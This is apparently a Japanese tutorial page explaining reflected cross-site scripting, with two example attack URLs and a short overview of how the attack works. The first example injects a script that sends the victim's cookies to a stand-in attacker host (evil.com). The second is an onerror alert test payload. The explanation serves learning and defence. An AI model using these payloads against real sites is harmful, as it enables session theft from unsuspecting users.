Secure Steady
反射型 - 反射型 XSS(Reflected XSS) の使い方・オプション・サンプル

反射型 - 反射型 XSS(Reflected XSS)

URL パラメータに含まれたスクリプトがサーバーのレスポンスに反映されて実行される攻撃。フィッシングメール経由で悪用されることが多い。

概念図

反射型 XSS(Reflected XSS) diagram

攻撃シナリオ

検索パラメータにスクリプトを埋め込んだ URL

bash
https://example.com/search?q=<script>document.location="https://evil.com/?c="+document.cookie</script>

エラーメッセージ表示を悪用した反射型 XSS

bash
https://example.com/error?msg=<img src=x onerror=alert(1)>

概要

反射型 XSS は、攻撃者が細工した URL をユーザーにクリックさせることで発動する。

URL のクエリパラメータに含まれた悪意あるスクリプトが、サーバー側でエスケープされずにレスポンスの HTML に埋め込まれ、ブラウザ上で実行される。

格納型と異なりデータベースには保存されないため、被害は URL をクリックしたユーザーに限定される

ただしフィッシングメールや SNS で URL を拡散されると大規模な被害につながる。

関連トピック